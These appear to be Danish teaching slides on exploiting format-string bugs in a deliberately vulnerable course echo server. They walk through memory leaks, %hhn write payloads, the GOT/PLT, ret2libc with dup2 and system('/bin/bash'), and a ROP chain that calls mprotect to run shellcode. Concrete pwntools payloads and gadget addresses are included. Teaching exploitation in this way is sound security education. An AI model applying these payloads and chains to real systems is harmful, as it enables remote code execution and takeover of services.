Kun ét sårbart program (well to, men der er kun én bit til forskel), men vi exploiter det på mange måder
Format strings bruges til formattering af tekstuel data og findes i mange programmeringssprog.
Et eksempel:
char * name = "Benny"; int age = 38; printf("My name is '%s' and I am %d years old\n", name, age);
printf, fprintf, vprintf, vfprintf, dprintf, sprintf, snprintf, syslog, kprintf….
MANGE!
Tager et ikke-fixed antal argumenter.
Funktionen udleder antallet af argumenter fra format strengen.
int printf(const char *format, ...);
F.eks. til europæisk/amerikansk dato formattering.
Virker dog ikke under Windows.
char * name = "Benny"; int age = 38; printf("Muhahaha %16$08x\n", name, age);
En echo server
void handle_client(int socket) { char buffer[512]; while (read_string(socket, buffer, sizeof(buffer) - 1) > 0) { if (strcmp(buffer, "exit\n") == 0) { break; } fprintf(stdout, "%s", buffer); dprintf(socket, buffer); } } ssize_t read_string(int socket, char * buffer, ssize_t max) { ssize_t total = 0, r; while (total < max) { r = read(socket, buffer + total, max - total); if (r <= 0) { return r; } total += r; buffer[total] = '\0'; if (buffer[total - 1] == '\n') { break; } } return total; }
$ checksec assignments/fmt [*] '/vagrant/presentations/04-advanced-exploitation/assignments/fmt' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: PIE enabled
Helt præcis find ud af følgende:
fmt
programmet indlæst (base addr)?
#include <stdio.h> void how_old() { int age; printf("Enter your age: "); scanf("%d", &age); } void leak() { char * ptr; printf("Have some data: %s\n", ptr); } int main(int argc, char ** argv) { how_old(); leak(); return 0; }
typedef struct { time_t birthday; char name[256]; enum { MALE, FEMALE } gender; } person_t; void do_stuff(int socket) { person_t person; person.birthday = time(NULL); strcpy(person.name, "Poul"); person.gender = MALE; write(socket, &person, sizeof(person)); }
#include <stdio.h> int main(int argc, char ** argv) { int i, n; printf("Hello %s%n\n", argv[1], &n); for (i = 2; i < argc; i++) { printf("%*s%s%n\n", n, "", argv[i], &n); } return 0; }
$ ./t Robert Chris Bang Larsen
Hello Robert
Chris
Bang
Larsen
ebp
kæden…og lad os da også bare se, at vi kan opdatere en af dem
ebp
kæden??? WTF??(gdb) x/xw $ebp 0xffce7748: 0xffce7768 (gdb) x/xw 0xffce7768 0xffce7768: 0xffce7798 (gdb) x/xw 0xffce7798 0xffce7798: 0xffce77d8
Inden vi begynder ser ebp
kæden således ud:
Derefter laver vi en r.sendline('A' * 0xef + '%145$hhn')
Efter r.sendline('A' * 0xef + '%145$hhn')
Derefter laver vi en r.sendline('A' * 0x99 + '%137$hhn')
Efter r.sendline('A' * 0x99 + '%137$hhn')
Derefter laver vi en r.sendline('A' * 0xbe + '%145$hhn')
Efter r.sendline('A' * 0xbe + '%145$hhn')
Derefter laver vi en r.sendline('A' * 0x9a + '%137$hhn')
Efter r.sendline('A' * 0x9a + '%137$hhn')
Derefter laver vi en r.sendline('A' * 0xad + '%145$hhn')
Efter r.sendline('A' * 0xad + '%145$hhn')
Derefter laver vi en r.sendline('A' * 0x9b + '%137$hhn')
Efter r.sendline('A' * 0x9b + '%137$hhn')
Derefter laver vi en r.sendline('A' * 0xde + '%145$hhn')
Efter r.sendline('A' * 0xde + '%145$hhn')
Vi kan nu enten skrive til adressen med %157$hhn
eller læse fra den med %157$s
Exploit ved at overskrive returadressen så vi returnerer til bufferen, som vi selvfølgelig først har fyldt med shellcode.
r.sendline('%200x')
istedet for r.sendline('A' * 200)
r.sendline(flat(0xdeadbeef, '%6$s'))
Leg selv med det
Husker I GOT/PLT?
080482f0 <getpid@plt>: 80482f0: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c 80482f6: 68 00 00 00 00 push 0x0 80482fb: e9 e0 ff ff ff jmp 80482e0 <_init+0x2c> 0804841d <main>: .... 8048423: e8 c8 fe ff ff call 80482f0 <getpid@plt> ....
Også kaldt Data Execution Prevention, eller W^X
Code signing giver et lignende problem.
$ checksec assignments/fmt_nx [*] '/vagrant/presentations/04-advanced-exploitation/assignments/fmt_nx' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
$ grep -E '(fmt_nx)|(stack)' /proc/$(pidof fmt_nx)/maps 56559000-5655b000 r-xp 00000000 00:7d 22 /04-advanced-exploitation/fmt_nx 5655b000-5655c000 r--p 00001000 00:7d 22 /04-advanced-exploitation/fmt_nx 5655c000-5655d000 rw-p 00002000 00:7d 22 /04-advanced-exploitation/fmt_nx ff9ae000-ff9cf000 rw-p 00000000 00:00 0 [stack]
Udføres system("/bin/bash");
ser stakken således ud ved første instruktion i system@libc
:
Hvad nu hvis vi får stakken til at se sådan her ud lige inden en ret
instruktion?:
system@libc
?Fandens komplekst men meget lærerigt at forsøge manuelt.
Rimeligt velbeskrevet her: http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html
Og illustreret her: http://blog.the-playground.dk/2017/06/dynelf-illustrated.html
Indtil lysten til den slags dukker op kan I benytte DynELF
klassen fra pwntools
.
class DynELF: ... def __init__(self, leak, pointer=None, elf=None, libcdb=True): ...
Test den ved at resolve system
fra libc
system
Det gjorde vi også:
[pid 5410] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 [pid 5410] execve("/bin/sh", ["sh", "-c", "/bin/bash"], [/* 3 vars */]) = 0 strace: [ Process PID=5410 runs in 64 bit mode. ] ....... [pid 5410] read(0, "", 8192) = 0 [pid 5410] exit_group(0) = ? ....... [pid 5403] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xdeadbeef} --- ....
Vi kommunikerer med processen via en socket med file descriptor 4.
Shellen snakker med stdin, stdout og stderr som har file descriptors 0, 1 og 2
Husk findpeersh
?
Den fandt en socket filedescriptor og kopierede den til filedescriptor 0, 1 og 2.
Vi kan gøre det samme.
Vi skal gøre dette:
dup2(4, 0); dup2(4, 1); dup2(4, 2); system("/bin/bash");
Men det er problematisk
Ryd stakken mellem "kald"
Kræver kontrol med stakken.
ROP Gadget: Kort serie af instruktioner som ender med ret
eller call/jmp
til et register
ROP Chain: Serie af gadgets, som opnår et delmål
Kæd dem sammen ved at returnere rundt for at opnå et større mål.
Indsamling af gadgets
$ ROPgadget --multibr --binary assignments/fmt_nx Gadgets information ============================================================ 0x00000936 : adc al, 0x24 ; call eax 0x00000983 : adc al, 0x24 ; call ecx 0x00001297 : adc al, 0x41 ; ret .... 0x00000b4d : sub esp, 0x44 ; call 0x8f9 0x0000071d : sub esp, 8 ; call 0x8f9 0x00000931 : test eax, eax ; je 0x92c ; mov dword ptr [esp], edx ; call eax 0x00001293 : xor byte ptr [edx], al ; dec eax ; push cs ; adc al, 0x41 ; ret Unique gadgets found: 158
Dem vi kan nøjes med
0x00000d13 : add esp, 0x44 ; pop ebx ; pop ebp ; ret 0x00000e88 : int 0x80 ; ret 0x00000739 : pop ebx ; ret 0x00000d7b : pop eax ; ret 0x00000737 : les ecx, ptr [eax] ; pop ebx ; ret 0x00000a06 : lea edx, dword ptr [ebx - 0x110] ; mov dword ptr [esp], edx ; call eax 0x00000928 : pop ebx ; pop ebp ; ret
Slutmålet med vores kæde:
mprotect(shellcode & PAGE_MASK, PAGE_SIZE * 2, PROT_READ|PROT_WRITE|PROT_EXEC); ((void(*))shellcode)();
mov eax, SYS_mprotect mov ebx, shellcode & PAGE_MASK mov ecx, PAGE_SIZE * 2 mov edx, PROT_READ | PROT_WRITE | PROT_EXEC int 0x80 jmp shellcode
edx = PROT_READ|PROT_WRITE|PROT_EXEC = 7
fmt_base + POP_EBX, # pop ebx ; ret 7 + 0x110, # ->ebx fmt_base + POP_EAX, # pop eax ; ret fmt_base + POP2, # ->eax = pop ebx ; pop ebp ; ret fmt_base + LEA_EDX, # lea edx, dword ptr [ebx - 0x110] ; mov dword ptr [esp], edx ; call eax 0xdeadbeef, # Will be overwritten
ecx = PAGE_SIZE * 2
og ebx = shellcode & PAGE_MASK
poke(fmt_base + 0x3000, p32(PAGE_SIZE * 2) + "\0\0")
fmt_base + 0x3000
er en skrivbar datasektion.
fmt_base + POP_EAX, # pop eax ; ret fmt_base + 0x3000, # ->eax fmt_base + LES_ECX, # les ecx, ptr [eax] ; pop ebx ; ret buffer & PAGE_MASK, # address to mprotect must be on a page boundary
Udfør systemkald til mprotect
og spring så til shellcoden
fmt_base + POP_EAX, # pop eax ; ret int(constants.SYS_mprotect), # ->eax fmt_base + INT_80, # int 0x80 ; ret buffer
Maaange af de sværere opgaver på pwnable.kr kræver ROP.
Jeg har skrevet writeups af det meste: https://blog.the-playground.dk/